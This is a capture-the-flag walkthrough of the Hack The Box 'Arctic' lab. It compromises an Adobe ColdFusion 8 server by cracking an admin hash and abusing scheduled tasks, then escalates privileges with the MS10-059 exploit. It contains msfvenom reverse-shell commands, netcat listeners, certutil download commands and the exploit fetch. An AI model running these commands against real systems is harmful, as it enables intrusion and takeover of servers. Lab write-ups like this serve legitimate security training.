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Hackthebox - Arctic

  • Windows

Arctic

Nmap

┌──(root💀kali)-[~]
└─# nmap -T4 -sC -sV -O -Pn -p- 10.10.10.11  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-15 16:14 EDT
Nmap scan report for 10.10.10.11
Host is up (0.022s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 229.52 seconds

FMTP

  • I find this fmtp protocol quite odd. Google was kinda frustrating on this so I just decided to try and go to the service with the browser: http://10.10.10.11:8500/

  • And I got this page: image

  • Here is the content of the /cfdocs folder image

  • Let's try to get all files and folders with wget -r --no-parent http://10.10.10.11:8500/ (it will take a while)

  • The files seem to be related to coldfusion which is an adobe tool to develop web app.

  • These slides by Chris Gates about coldfusion are very useful. This wiki by nets.ec is also very useful

  • Another useful article here

  • We know that it is using Adobe Coldfusion 8: image

  • version 8,0,1,195765 to be exact: image

  • We have a login panel here: http://10.10.10.11:8500/CFIDE/administrator/

  • We have the hash of the admin

#Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true
image

  • If we go on crackstation.net we can easily find the password happyday

crackstation

  • We can then connect to the panel

coldfusion

  • If we follow the slides by Chris Gates (page 85), turns out we can get rce using the schedule tasks

  • Let's make a reverse shell exe file with msfvenom

    • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > shell.exe if you catch it with meterpreter or msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > shell.exe if you catch it with netcat

    • Set up a listener rlwrap nc -lvp 4444

    • We server our exe python3 -m http.server 80

  • Now to execute it we have to click on "Schedule New Task" let's make it every minute and a half (has to be greater than 60 seconds)

  • the url is going to be http://10.10.14.2/shell.exe

  • Let's try like this for now Scheduled task

For some reason the chars were written in greek so I had to write am and pm in greek... I do not speak greek at all but google showed me how to write am in greek. See here: https://www.proz.com/kudoz/english-to-greek/general-conversation-greetings-letters/684823-am-pm.html

NOTE: I found out later that the time does not matter we can basically manually launch the tasks

  • Ok another try without the greek chars cause it does not seem to work as well so if I type ony 08:30 instead of 8:37 πμ the task is scheduled.

shell2

  • Third try 3rd try

  • This is asking for a valid dir name. We can find some in server settings > Mappings (our file will be uploaded there so make sure to put it somewhere you will easily find it) mappings

  • Now we can modify our task accordingly C:\ColdFusion8\wwwroot\CFIDE\shell.exe proper path

  • Now let's do our system probe (page 87 of the slides)

  • We click on define new probe probe probe2

I do not get a shell this way either with meterpreter or nc even though the files are being fetch from my http server.

  • Let's try to upload another type of payload and execute it through the directory listing misconfiguration. Let's try jsp (according to the doc "ColdFusion pages and JSP pages can interoperate in several ways" see here )

  • msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=5555 -f raw > shell.jsp We generate our jsp shell

  • rlwrap nc -lvp 5555 we set our listener

  • We upload it to our target with the scheduled Task

  • This time our URL is http://10.10.14.2/shell.jsp

  • And our output has to be saved like this: C:\ColdFusion8\wwwroot\CFIDE\shell.jsp jsp upload

  • I forgot to mention it before but the time does not really matter because we can just launch a task by clicking on the green icon here in front of the task green icon

  • Our shell gets fetch fetch jsp

  • And it is in our target jsp in target

  • Let's click on it and pray to catch the shell this time :)

  • It finally works!! shell

  • We get a shell as tolis

whoami
arctic\tolis

  • Let's get the user flag get user

Another way (without needing the password) would also have been to use Metasploit or a script like this one

  • We would take the python script in our target,

  • Generate the jsp with msfvenom,

  • Setup our listener,

  • And launch the python script that will upload our shell to the target

  • Navigate to the page with our shell

Privesc

  • Let's make a systeminfo and copy the output in a file to find an exploit

  • We can use Windows exploit suggester on it wes --update first we update the db

  • Then we pass it our file wes sysinfo.txt

  • We can focus on privesc with this command wes sysinfo.txt | grep -A8 "Elevation of Privilege"

  • We have this here which is also MS10-059

CVE: CVE-2010-2554
KB: KB982799
Title: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege
Affected product: Windows Server 2008 R2 for x64-based Systems
Affected component: 
Severity: Important
Impact: Elevation of Privilege
Exploit: n/a

  • Let's take the exploit in our attacking machine wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS10-059/MS10-059.exe

  • We serve it with python web server

  • We take it in our target certutil.exe -urlcache -f http://10.10.14.2/MS10-059.exe MS10-059.exe

  • We set up a listener rlwrap nc -lvp 5556

  • MS10-059.exe 10.10.14.2 5556 we run our exploit (we wait a little)

  • We have a root shell root shell

  • We just need to grab the root flag :) root flag

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